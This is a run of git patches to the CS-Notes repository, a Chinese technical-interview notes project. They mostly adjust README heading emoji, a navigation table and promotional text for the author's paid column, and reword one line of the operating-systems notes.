diff --git a/docs/README.md b/docs/README.md
index bd748034..b445b1fd 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -18,7 +18,7 @@
 > [HTTP](notes/HTTP.md) </br>
 > [Socket](notes/Socket.md)
 
-## 👫 面向对象
+## 🔓 面向对象
 
 > [设计模式](notes/设计模式.md) </br>
 > [面向对象思想](notes/面向对象思想.md)
@@ -48,7 +48,7 @@
 > [缓存](notes/缓存.md) </br>
 > [消息队列](notes/消息队列.md)
 
-## 🔨 工具
+## 🔧 工具
 
 > [Git](notes/Git.md) </br>
 > [Docker](notes/Docker.md) </br>

From 267afe82ff809ff3d595ac91e7f1f6d47cf4a03f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 19:42:14 +0800
Subject: [PATCH 088/100] Update README.md

---
 docs/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/README.md b/docs/README.md
index b445b1fd..3e9f9793 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -1,5 +1,5 @@
 
-> [面试进阶专栏](https://xiaozhuanlan.com/CyC2018)
+> [🍉 点击订阅面试进阶专栏](https://xiaozhuanlan.com/CyC2018)
 
 ##  ✏️ 算法
 

From 99513ca9ecdd58e11278af2e10041be672577ef7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 31 Jan 2019 09:29:55 +0800
Subject: [PATCH 089/100] Update README.md

---
 README.md | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/README.md b/README.md
index 37bea291..a208d080 100644
--- a/README.md
+++ b/README.md
@@ -8,29 +8,29 @@
 
 <br>
 
-## :pencil2: 算法
+## :pencil2: Ⅰ 算法
 
 - [剑指 Offer 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/剑指%20offer%20题解.md)
 - [Leetcode 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Leetcode%20题解.md)
 - [算法](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/算法.md)
 
-## :computer: 操作系统
+## :computer: Ⅱ 操作系统
 
 - [计算机操作系统](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机操作系统.md)
 - [Linux](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Linux.md)
 
-## :cloud: 网络 
+## :cloud: Ⅲ 网络 
 
 - [计算机网络](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机网络.md)
 - [HTTP](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/HTTP.md)
 - [Socket](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Socket.md)
 
-## :unlock: 面向对象
+## :unlock: Ⅳ 面向对象
 
 - [设计模式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/设计模式.md)
 - [面向对象思想](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/面向对象思想.md)
 
-## :floppy_disk: 数据库 
+## :floppy_disk: Ⅴ 数据库 
 
 - [数据库系统原理](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/数据库系统原理.md)
 - [SQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/SQL.md)
@@ -38,7 +38,7 @@
 - [MySQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/MySQL.md)
 - [Redis](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Redis.md)
 
-## :coffee: Java
+## :coffee: Ⅵ Java
 
 - [Java 基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20基础.md)
 - [Java 容器](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20容器.md)
@@ -46,7 +46,7 @@
 - [Java 虚拟机](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20虚拟机.md)
 - [Java I/O](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20IO.md)
 
-## :bulb: 系统设计 
+## :bulb: Ⅶ 系统设计 
 
 - [系统设计基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/系统设计基础.md)
 - [分布式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/分布式.md)
@@ -55,19 +55,19 @@
 - [缓存](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/缓存.md)
 - [消息队列](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/消息队列.md)
 
-## :wrench: 工具 
+## :wrench: Ⅷ 工具 
 
 - [Git](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Git.md)
 - [Docker](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Docker.md)
 - [构建工具](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/构建工具.md)
 - [正则表达式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/正则表达式.md)
 
-## :art: 编码实践 
+## :art: Ⅸ 编码实践 
 
 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)
 
-## :memo: 后记 
+## :memo: Ⅹ 后记 
 
 ### 内推信息
 

From becca9b5d5d27b1c43541f74946f68fab66c7018 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 31 Jan 2019 09:35:58 +0800
Subject: [PATCH 090/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index a208d080..10f299e1 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。你也可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些知识，从而节省宝贵的面试复习时间。你也可以订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From b07fb1ef6e8f804134834e2d5dcab9e077b55ac4 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 31 Jan 2019 09:36:21 +0800
Subject: [PATCH 091/100] Update _coverpage.md

---
 docs/_coverpage.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index e1b425e0..36dcdb8b 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,7 +2,7 @@
 
 # CS-Notes
 
-- 本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。你也可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+- 本项目包含了技术面试必备的基础知识，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些知识，从而节省宝贵的面试复习时间。你也可以订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 
 <span id="busuanzi_container_site_pv">Site View : <span id="busuanzi_value_site_pv">
 

From 2afea8326fa84e8092e183074858c3707510f541 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 31 Jan 2019 14:48:19 +0800
Subject: [PATCH 092/100] Update README.md

---
 README.md | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 10f299e1..b50e4c6f 100644
--- a/README.md
+++ b/README.md
@@ -71,13 +71,17 @@
 
 ### 内推信息
 
-[🔎 Job-Recommend](https://github.com/CyC2018/Job-Recommend)
+[Job-Recommend](https://github.com/CyC2018/Job-Recommend)
+
+### 专栏
+
+[面试进阶指南](https://xiaozhuanlan.com/CyC2018)
 
 ### 知识星球
 
 想要向我提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
 
-[🎓 知识星球](other/Planet.md)
+[知识星球](other/Planet.md)
 
 ### QQ 群
 

From fdc619b13de46c594abd02033d88f8cc149e32fb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 20:51:10 +0800
Subject: [PATCH 093/100] Update README.md

---
 README.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/README.md b/README.md
index b50e4c6f..ec8b69ed 100644
--- a/README.md
+++ b/README.md
@@ -8,29 +8,29 @@
 
 <br>
 
-## :pencil2: Ⅰ 算法
+## :pencil2: 算法
 
 - [剑指 Offer 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/剑指%20offer%20题解.md)
 - [Leetcode 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Leetcode%20题解.md)
 - [算法](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/算法.md)
 
-## :computer: Ⅱ 操作系统
+## :computer: 操作系统
 
 - [计算机操作系统](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机操作系统.md)
 - [Linux](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Linux.md)
 
-## :cloud: Ⅲ 网络 
+## :cloud: 网络 
 
 - [计算机网络](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机网络.md)
 - [HTTP](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/HTTP.md)
 - [Socket](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Socket.md)
 
-## :unlock: Ⅳ 面向对象
+## :art: 面向对象
 
 - [设计模式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/设计模式.md)
 - [面向对象思想](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/面向对象思想.md)
 
-## :floppy_disk: Ⅴ 数据库 
+## :floppy_disk: 数据库 
 
 - [数据库系统原理](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/数据库系统原理.md)
 - [SQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/SQL.md)
@@ -38,7 +38,7 @@
 - [MySQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/MySQL.md)
 - [Redis](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Redis.md)
 
-## :coffee: Ⅵ Java
+## :coffee: Java
 
 - [Java 基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20基础.md)
 - [Java 容器](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20容器.md)
@@ -46,7 +46,7 @@
 - [Java 虚拟机](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20虚拟机.md)
 - [Java I/O](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20IO.md)
 
-## :bulb: Ⅶ 系统设计 
+## :bulb: 系统设计 
 
 - [系统设计基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/系统设计基础.md)
 - [分布式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/分布式.md)
@@ -55,14 +55,14 @@
 - [缓存](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/缓存.md)
 - [消息队列](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/消息队列.md)
 
-## :wrench: Ⅷ 工具 
+## :wrench: 工具 
 
 - [Git](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Git.md)
 - [Docker](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Docker.md)
 - [构建工具](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/构建工具.md)
 - [正则表达式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/正则表达式.md)
 
-## :art: Ⅸ 编码实践 
+## :watermelon: 编码实践 
 
 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)

From 86545a1399fdcb75c961aaea03f3616faad53be0 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 20:52:43 +0800
Subject: [PATCH 094/100] Update README.md

---
 README.md | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index ec8b69ed..01f6f895 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,9 @@
+| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
+| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
+| 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:art:](#art-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:wrench:](#wrench-工具)| 编码实践[:watermelon:](#watermelon-编码实践)| 后记[:memo:](#memo-后记) |
+
+<br>
+
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="200px">
     <br>
@@ -67,7 +73,7 @@
 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)
 
-## :memo: Ⅹ 后记 
+## :memo: 后记 
 
 ### 内推信息
 

From c5dd943e20316fba2429a5030e07e4427ea9e317 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 20:54:22 +0800
Subject: [PATCH 095/100] Update README.md

---
 README.md | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 01f6f895..5d6d21ab 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,10 @@
-| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
+<!--| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
 | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
-| 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:art:](#art-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:wrench:](#wrench-工具)| 编码实践[:watermelon:](#watermelon-编码实践)| 后记[:memo:](#memo-后记) |
+| 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:art:](#art-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:wrench:](#wrench-工具)| 编码实践[:watermelon:](#watermelon-编码实践)| 后记[:memo:](#memo-后记) | -->
+
+| 算法 | 操作系统 | 网络 | 面向对象 | 数据库 | Java | 系统设计 | 工具 | 编码实践 | 后记 |
+| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
+| [:pencil2:](#pencil2-算法) | [:computer:](#computer-操作系统)|[:cloud:](#cloud-网络) | [:art:](#art-面向对象) |[:floppy_disk:](#floppy_disk-数据库)|  [:coffee:](#coffee-java)| [:bulb:](#bulb-系统设计)| [:wrench:](#wrench-工具)| [:watermelon:](#watermelon-编码实践)| [:memo:](#memo-后记) | 
 
 <br>
 

From 13a281a876a920790df3be50df473a19626a09db Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 20:55:46 +0800
Subject: [PATCH 096/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 5d6d21ab..e72e821f 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
 | 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:art:](#art-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:wrench:](#wrench-工具)| 编码实践[:watermelon:](#watermelon-编码实践)| 后记[:memo:](#memo-后记) | -->
 
-| 算法 | 操作系统 | 网络 | 面向对象 | 数据库 | Java | 系统设计 | 工具 | 编码实践 | 后记 |
+| &nbsp;&nbsp;算法&nbsp;&nbsp; | 操作系统 | &nbsp;&nbsp;网络&nbsp;&nbsp; | 面向对象 | &nbsp;数据库&nbsp; | &nbsp;&nbsp;Java&nbsp;&nbsp; | 系统设计 | &nbsp;&nbsp;工具&nbsp;&nbsp; | 编码实践 | &nbsp;&nbsp;后记&nbsp;&nbsp; |
 | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
 | [:pencil2:](#pencil2-算法) | [:computer:](#computer-操作系统)|[:cloud:](#cloud-网络) | [:art:](#art-面向对象) |[:floppy_disk:](#floppy_disk-数据库)|  [:coffee:](#coffee-java)| [:bulb:](#bulb-系统设计)| [:wrench:](#wrench-工具)| [:watermelon:](#watermelon-编码实践)| [:memo:](#memo-后记) | 
 

From a1288d9805cb80396690e18b08244e9b79084490 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 20:56:53 +0800
Subject: [PATCH 097/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index e72e821f..73b80318 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
 | 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:art:](#art-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:wrench:](#wrench-工具)| 编码实践[:watermelon:](#watermelon-编码实践)| 后记[:memo:](#memo-后记) | -->
 
-| &nbsp;&nbsp;算法&nbsp;&nbsp; | 操作系统 | &nbsp;&nbsp;网络&nbsp;&nbsp; | 面向对象 | &nbsp;数据库&nbsp; | &nbsp;&nbsp;Java&nbsp;&nbsp; | 系统设计 | &nbsp;&nbsp;工具&nbsp;&nbsp; | 编码实践 | &nbsp;&nbsp;后记&nbsp;&nbsp; |
+| &nbsp;&nbsp;&nbsp;算法&nbsp;&nbsp;&nbsp; | 操作系统 | &nbsp;&nbsp;&nbsp;网络&nbsp;&nbsp;&nbsp; | 面向对象 | &nbsp;&nbsp;数据库&nbsp;&nbsp; | &nbsp;&nbsp;&nbsp;Java&nbsp;&nbsp;&nbsp; | 系统设计 | &nbsp;&nbsp;&nbsp;工具&nbsp;&nbsp;&nbsp; | 编码实践 | &nbsp;&nbsp;&nbsp;后记&nbsp;&nbsp;&nbsp; |
 | :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
 | [:pencil2:](#pencil2-算法) | [:computer:](#computer-操作系统)|[:cloud:](#cloud-网络) | [:art:](#art-面向对象) |[:floppy_disk:](#floppy_disk-数据库)|  [:coffee:](#coffee-java)| [:bulb:](#bulb-系统设计)| [:wrench:](#wrench-工具)| [:watermelon:](#watermelon-编码实践)| [:memo:](#memo-后记) | 
 

From 330d064773ed691b0d5a3a6d849821129a2fec90 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 3 Feb 2019 22:28:37 +0800
Subject: [PATCH 098/100] auto commit

---
 docs/notes/计算机操作系统.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index e55b5744..079d6dc9 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -67,7 +67,7 @@
 
 多个进程能在同一个处理器上并发执行使用了时分复用技术，让每个进程轮流占有处理器，每次只执行一小个时间片并快速切换。
 
-虚拟内存使用了空分复用技术，它将物理内存抽象为地址空间，每个进程都有各自的地址空间。地址空间和物理内存使用页进行交换，地址空间的页并不需要全部在物理内存中，当使用到一个没有在物理内存的页时，执行页面置换算法，将该页置换到内存中。
+虚拟内存使用了空分复用技术，它将物理内存抽象为地址空间，每个进程都有各自的地址空间。地址空间的页被映射到物理内存，地址空间的页并不需要全部在物理内存中，当使用到一个没有在物理内存的页时，执行页面置换算法，将该页置换到内存中。
 
 ### 4. 异步
 

From 6b02ab30d8a5bdbe0ff08f3c0f4b205c90cd3414 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 5 Feb 2019 14:46:01 +0800
Subject: [PATCH 099/100] Update Planet.md

---
 other/Planet.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/other/Planet.md b/other/Planet.md
index d8815c62..df0f89fc 100644
--- a/other/Planet.md
+++ b/other/Planet.md
@@ -8,8 +8,6 @@
 
 # ⭐️ 加入方式
 
-可以用微信直接扫下面的二维码直接加入，或者订阅专栏 https://xiaozhuanlan.com/CyC2018 ，加星主微信 zhengyochuan，备注 “你的姓名 + 订阅专栏加星球”。 
-
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/planet1.png" width="200px">
 
 # 🔎 预览

From 4538a93c2606e9d7ee0d682fa55227a587da7e1e Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 5 Feb 2019 16:21:41 +0800
Subject: [PATCH 100/100] Update Planet.md

---
 other/Planet.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/other/Planet.md b/other/Planet.md
index df0f89fc..16044df4 100644
--- a/other/Planet.md
+++ b/other/Planet.md
@@ -8,6 +8,8 @@
 
 # ⭐️ 加入方式
 
+可以用微信直接扫下面的二维码直接加入，或者订阅专栏 https://xiaozhuanlan.com/CyC2018 ，加微信 zhengyochuan，备注 “已订阅专栏加星球”。 
+
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/planet1.png" width="200px">
 
 # 🔎 预览